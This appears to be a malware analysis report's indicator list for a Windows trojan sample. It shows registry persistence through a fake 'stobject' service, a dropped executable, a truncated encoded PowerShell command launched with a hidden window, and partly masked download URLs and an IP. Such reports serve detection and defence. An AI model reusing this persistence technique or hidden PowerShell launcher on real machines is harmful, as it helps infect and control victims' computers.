Technical Information
- [<HKLM>\System\CurrentControlSet\Services\stobject] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\stobject] 'ImagePath' = '"%WINDIR%\SysWOW64\vbscript\stobject.exe"'
- 'stobject' "%WINDIR%\SysWOW64\vbscript\stobject.exe"
- 'stobject' %WINDIR%\SysWOW64\vbscript\stobject.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABKAEsAWQBYAEcAdQBoAHIAPQAnAFUAUgBCAEgAQwBzAHkAZAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwBVAFIAYABpAHQAYAB5AGAAUABgAFIAbwBUAG8AYwBgAE8AbAAiAC...
- %HOMEPATH%\679.exe
- %WINDIR%\syswow64\vbscript\stobject.exe
- from %HOMEPATH%\679.exe to %WINDIR%\syswow64\vbscript\stobject.exe
- '20#.#35.10.215':80
- http://ye###ner.com/old/iyv0hf8926444/
- http://20#.#35.10.215/H2RIwSfzfgSrRLfSRk/D7NyN/1YQTaJ/
- DNS ASK ye###ner.com
- '%HOMEPATH%\679.exe'
- '%WINDIR%\syswow64\vbscript\stobject.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABKAEsAWQBYAEcAdQBoAHIAPQAnAFUAUgBCAEgAQwBzAHkAZAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwBVAFIAYABpAHQAYAB5AGAAUABgAFIAbwBUAG8AYwBgAE8AbAAiAC...' (with hidden window)